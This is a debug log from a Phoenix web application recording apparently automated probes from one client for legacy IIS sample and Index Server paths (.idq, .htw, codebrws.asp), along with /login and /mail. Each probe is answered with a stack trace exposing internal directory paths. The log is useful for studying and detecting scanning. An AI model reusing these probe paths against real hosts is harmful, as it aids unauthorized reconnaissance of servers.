[Thu Sep  3 08:10:46.919000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54574] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/issamples/oop/qfullhit.htw (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:47.550000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54590] GET /scripts/samples/search/author.idq
[Thu Sep  3 08:10:47.570000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54590] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/samples/search/author.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:48.208000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54604] GET /scripts/samples/search/filesize.idq
[Thu Sep  3 08:10:48.233000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54604] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/samples/search/filesize.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:48.896000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54616] GET /scripts/samples/search/filetime.idq
[Thu Sep  3 08:10:48.932000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54616] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/samples/search/filetime.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:49.692000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54618] GET /scripts/samples/search/queryhit.idq
[Thu Sep  3 08:10:49.712000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54618] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/samples/search/queryhit.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:50.366000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54626] GET /scripts/samples/search/simple.idq
[Thu Sep  3 08:10:50.384000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54626] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/samples/search/simple.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:51.053000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54630] GET /iissamples/exair/howitworks/codebrws.asp
[Thu Sep  3 08:10:51.069000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54630] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/exair/howitworks/codebrws.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:51.655000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54632] GET /iissamples/issamples/query.asp
[Thu Sep  3 08:10:51.681000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54632] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/issamples/query.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:57.966000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38086] GET /igsponsor
[Thu Sep  3 08:10:57.990000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38086] ** (Phoenix.Router.NoRouteError) no route found for GET /igsponsor (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:04.947000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54110] GET /mail/
[Thu Sep  3 08:11:05.016000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54110] ** (Phoenix.Router.NoRouteError) no route found for GET /mail (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:08.486000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54120] GET /query.idq
[Thu Sep  3 08:11:08.515000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54120] ** (Phoenix.Router.NoRouteError) no route found for GET /query.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:10.301000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54130] GET /query.idq
[Thu Sep  3 08:11:10.326000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54130] ** (Phoenix.Router.NoRouteError) no route found for GET /query.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:13.278000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54834] GET /login
[Thu Sep  3 08:11:13.305000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54834] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:19.629000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54836] GET /builtin/index.html
[Thu Sep  3 08:11:19.654000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54836] ** (Phoenix.Router.NoRouteError) no route found for GET /builtin/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:28.051000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44328] GET /login
[Thu Sep  3 08:11:28.084000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44328] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:32.815000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:11:34.213000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32898] GET //
[Thu Sep  3 08:11:34.214000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:32898] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:11:34.215000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32898] Sent 200 in 1ms
[Thu Sep  3 08:11:35.020000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32898] GET /tsp//
[Thu Sep  3 08:11:35.069000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32898] ** (Phoenix.Router.NoRouteError) no route found for GET /tsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:35.878000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32906] GET /ap//
